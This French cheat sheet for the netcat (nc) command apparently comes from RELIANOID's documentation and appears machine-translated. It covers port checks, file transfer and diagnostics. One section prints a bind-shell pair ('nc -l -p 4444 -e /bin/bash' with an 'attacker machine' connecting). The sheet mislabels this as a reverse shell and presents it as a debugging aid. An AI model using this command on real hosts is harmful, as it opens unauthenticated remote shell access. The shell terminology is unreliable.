Aide-mémoire sur les commandes nc (Netcat)

Voir les catégories

Aide-mémoire sur les commandes nc (Netcat)

1 min de lecture

Le Linux nc Commande (Netcat) #

Le Linux nc La commande (Netcat) est un utilitaire réseau polyvalent utilisé pour la communication, le débogage et les tests réseau. Elle peut agir comme un simple serveur ou client et prend en charge la lecture et l'écriture de données via TCP ou UDP. Surnommée le « couteau suisse » du réseau, nc est largement utilisé pour des tâches telles que l'analyse des ports, le transfert de fichiers et le test des services réseau.

Utilisation et syntaxe des clés nc Command #

La syntaxe de base du nc la commande est:

nc [OPTIONS] [HOST] [PORT]

  • OPTIONS: Drapeaux pour contrôler le comportement de nc.
  • HÔTE: L'hôte cible pour la connexion.
  • PORT: Le numéro de port cible.

nc Tableau de triche des commandes #

Command Description
nc -zv example.com 80 Tester si le port 80 est activé example.com est ouvert (mode verbeux).
nc -l 1234 Démarrez un écouteur sur le port 1234.
nc example.com 80 Connectez-vous au port 80 sur example.com (par exemple, pour envoyer des requêtes HTTP).
nc -u example.com 1234 Envoyer des données au port UDP 1234 sur example.com.
nc -l -p 8080 Démarrez un serveur à l'écoute sur le port 8080.
echo "Hello" | nc example.com 1234 Envoyez le message Hello à example.com sur le port 1234.

Cas d’utilisation courants #

1. Analyse des ports #

nc -zv example.com 20-25

Cette commande analyse les ports 20 à 25 sur example.com et affiche leur statut.

2. Configuration d'une conversation simple #

Configurer une conversation simple entre deux systèmes :

Sur le premier système : #

nc -l -p 1234

Sur le deuxième système : #

nc HOSTNAME 1234

remplacer HOSTNAME avec l'adresse IP du premier système.

3. Transfert de fichiers #

Transférer des fichiers entre deux systèmes à l'aide de nc:

Expéditeur: #

cat file.txt | nc -q 0 HOSTNAME 1234

Récepteur: #

nc -l -p 1234 > file.txt

4. Attraper des bannières #

Récupérer les informations de service à partir d'un serveur distant :

nc example.com 80

Type HEAD / HTTP/1.0 et appuyez sur Enter deux fois pour afficher les en-têtes HTTP.

Utilisation avancée #

Connectivité UDP #

Tester la connectivité UDP vers une cible :

nc -u example.com 1234

Cela envoie des données au port UDP 1234 sur example.com.

Coquille de liaison #

Créez un shell inversé simple pour le débogage :

Sur la machine distante : #

nc -l -p 4444 -e /bin/bash

Sur la machine de l'attaquant : #

nc TARGET 4444

Utiliser Netcat en toute sécurité #

Pour une sécurité renforcée, utilisez la version cryptographique de nc (par exemple, ncat avec SSL).

L'utilisation de nc au RELIANOID Solutions #

In RELIANOIDl'infrastructure réseau de , nc peut servir à diverses fins diagnostiques et opérationnelles :

1. Tester la connectivité de l'équilibreur de charge #

nc -zv loadbalancer.realianoid.local 80

Vérifiez que l’équilibreur de charge accepte le trafic sur le port 80.

2. Surveiller les services backend #

Vérifiez rapidement l’état des serveurs backend :

nc -zv backend1.realianoid.local 8080

Cela vérifie si le service backend est accessible sur le port 8080.

3. Valider la redirection du serveur proxy #

Vérifiez si le serveur proxy transfère correctement le trafic :

nc proxy.realianoid.local 443

4. Débogage des protocoles personnalisés #

Utilisez le nc pour déboguer ou simuler des interactions avec des protocoles personnalisés dans RELIANOIDl'environnement.

nc -l -p 5555

Configurez un écouteur pour tester les messages du protocole.

Résumé #

Le nc La commande (Netcat) est un outil indispensable pour les professionnels des réseaux. Sa capacité à analyser les ports, transférer des fichiers et déboguer la connectivité la rend idéale pour les applications polyvalentes. nc au RELIANOID L'infrastructure contribue à garantir des performances réseau robustes et une résolution rapide des problèmes.

📄 Téléchargez ce document au format PDF #

    E-MAIL: *

    Sécurité accrue. Efforts réduits. Succès durable. Meilleurs Docs